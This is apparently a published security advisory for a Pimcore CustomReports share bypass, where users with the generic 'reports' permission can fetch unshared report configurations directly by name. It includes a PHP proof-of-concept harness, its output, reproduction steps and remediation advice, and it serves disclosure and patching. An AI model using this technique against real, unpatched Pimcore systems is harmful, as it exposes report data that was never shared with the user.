Pimcore has a CustomReports Share Bypass
Summary
CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.
- The listing flow filters reports based on report-sharing rules
- The detail flow only checks generic
reportsorreports_configpermissions
As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.
In the local Docker reproduction:
- The report
poc-secret-reportwas not visible to the low-privileged user in the report list - The same user was still able to retrieve the report configuration directly by name
Root Cause
The listing flow in getReportConfigAction() filters reports through loadForGivenUser():
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)
- CustomReportController.php
- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)
- Config/Listing/Dao.php
However, getAction() only checks generic permissions and then loads the report directly by name:
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)
- CustomReportController.php
- CustomReportController.php
This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.
Impact
An attacker can read sensitive report metadata without authorization, including:
- Report name
- Grouping information
- Display and icon metadata
- Data source configuration
- Column configuration
- Sharing settings
From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)
- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)
- CustomReportController.php
This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.
Preconditions
- The attacker is an authenticated backend user
- The attacker has the
reportspermission - The target report is not globally shared and is not shared with that user or the user's roles
PoC
<?php
declare(strict_types=1);
use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;
require dirname(__DIR__) . '/vendor/autoload.php';
define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));
try {
\Pimcore\Bootstrap::bootstrap();
$kernel = new \App\Kernel('dev', true);
\Pimcore::setKernel($kernel);
$kernel->boot();
$container = $kernel->getContainer();
/** @var RequestStack $requestStack */
$requestStack = getService($container, [
RequestStack::class,
'request_stack',
]);
$admin = User::getByName('admin');
if (!$admin instanceof User) {
fail('admin user is missing');
}
$auditor = User::getByName('auditor_customreports');
if (!$auditor instanceof User) {
$auditor = new User();
$auditor->setParentId(0);
$auditor->setName('auditor_customreports');
}
$auditor->setAdmin(false);
$auditor->setActive(true);
$auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
$auditor->setPermissions(['reports']);
$auditor->setRoles([]);
$auditor->save();
$timestamp = time();
SettingsStore::set(
'poc-secret-report',
json_encode([
'name' => 'poc-secret-report',
'niceName' => 'PoC Secret Report',
'group' => 'Audit',
'dataSourceConfig' => [['type' => 'sql']],
'columnConfiguration' => [],
'shareGlobally' => false,
'sharedUserNames' => ['admin'],
'sharedRoleNames' => [],
'menuShortcut' => true,
'creationDate' => $timestamp,
'modificationDate' => $timestamp,
], JSON_THROW_ON_ERROR),
SettingsStore::TYPE_STRING,
'pimcore_custom_reports'
);
$tokenResolver = buildTokenResolver($auditor);
$controller = wireController(new CustomReportController(), $container, $tokenResolver);
$listRequest = new Request();
$requestStack->push($listRequest);
$listResponse = $controller->getReportConfigAction($listRequest);
$requestStack->pop();
$listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$getRequest = new Request(['name' => 'poc-secret-report']);
$requestStack->push($getRequest);
$getResponse = $controller->getAction($getRequest);
$requestStack->pop();
$getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);
$listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);
echo json_encode([
'vulnerability' => 'customreports_share_bypass',
'user' => [
'id' => $auditor->getId(),
'name' => $auditor->getName(),
'permissions' => $auditor->getPermissions(),
],
'target_report' => [
'name' => 'poc-secret-report',
'shared_to' => ['admin'],
'share_globally' => false,
],
'result' => [
'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
'listed_report_names' => $listedNames,
'direct_get_returned_name' => $getData['name'] ?? null,
'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
],
], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
fail(sprintf(
'%s: %s in %s:%d%s',
$e::class,
$e->getMessage(),
$e->getFile(),
$e->getLine(),
$e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
));
}
function wireController(
UserAwareController $controller,
ContainerInterface $container,
TokenStorageUserResolver $tokenResolver
): UserAwareController
{
$controller->setContainer($container);
$controller->setTokenResolver($tokenResolver);
if (method_exists($controller, 'setPimcoreSerializer')) {
/** @var PimcoreSerializer $serializer */
$serializer = getService($container, [
PimcoreSerializer::class,
'Pimcore\\Serializer\\Serializer',
]);
$controller->setPimcoreSerializer($serializer);
}
return $controller;
}
function buildTokenResolver(User $user): TokenStorageUserResolver
{
$tokenStorage = new TokenStorage();
$proxyUser = new SecurityUser($user);
$token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
$tokenStorage->setToken($token);
return new TokenStorageUserResolver($tokenStorage);
}
function getService(ContainerInterface $container, array $ids): mixed
{
foreach ($ids as $id) {
try {
if ($container->has($id)) {
return $container->get($id);
}
} catch (Throwable) {
}
}
fail('Unable to resolve service: ' . implode(', ', $ids));
}
function fail(string $message): never
{
fwrite(STDERR, $message . PHP_EOL);
exit(1);
}
Reproduction Steps
- Create a low-privileged user named
auditor_customreportswith thereportspermission. - Create a report named
poc-secret-reportwith:shareGlobally = falsesharedUserNames = ['admin']
- As
auditor_customreports, request the visible report list and verify thatpoc-secret-reportis absent. - As the same user, call
getAction(name=poc-secret-report)directly. - Verify that the response still contains the report configuration.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php
Reproduction Result
Relevant PoC output:
{
"vulnerability": "customreports_share_bypass",
"user": {
"name": "auditor_customreports",
"permissions": [
"reports"
]
},
"target_report": {
"name": "poc-secret-report",
"shared_to": [
"admin"
],
"share_globally": false
},
"result": {
"report_visible_in_list": false,
"listed_report_names": [],
"direct_get_returned_name": "poc-secret-report",
"direct_get_shared_user_names": [
"admin"
]
}
}
This shows that:
- The current user cannot see the report in the visible report list
- The same user can still retrieve the report configuration directly
This confirms that the share-bypass issue is practically exploitable.
Security Impact
- Unauthorized disclosure of report configuration
- Disclosure of sharing scope and internal report structure
- Potential leakage of data-source and query organization details
- Useful reconnaissance for follow-on unauthorized execution or export paths
Remediation
- Add object-level sharing checks to
getAction()equivalent toloadForGivenUser(). - Centralize authorization into a single "can current user access this report?" function reused by
get,data,chart,create-csv, anddownload-csv. - Return
403for unshared reports. - Add regression tests to ensure that users with
reportspermission but without report-sharing access cannot retrieve report details.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | pimcore/pimcore | >= 12.0.0-RC1, < 12.3.6, < 11.5.17, >= 2026.1.0, < 2026.1.2 | 12.3.6, 11.5.17, 2026.1.2 |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-863- Platform
- Composer
- Package
pimcore/pimcore- Disclosed
- 27.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-jwcc-gv4m-93x6 - CC BY 4.0
Vulnerability history: pimcore/pimcore
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 135
- First → latest
- 12.2019 09.2026
- Without a fix
- 3
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 40
- Medium 90
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 11
- 2022: 43
- 2023: 59
- 2024: 3
- 2025: 2
- 2026: 16
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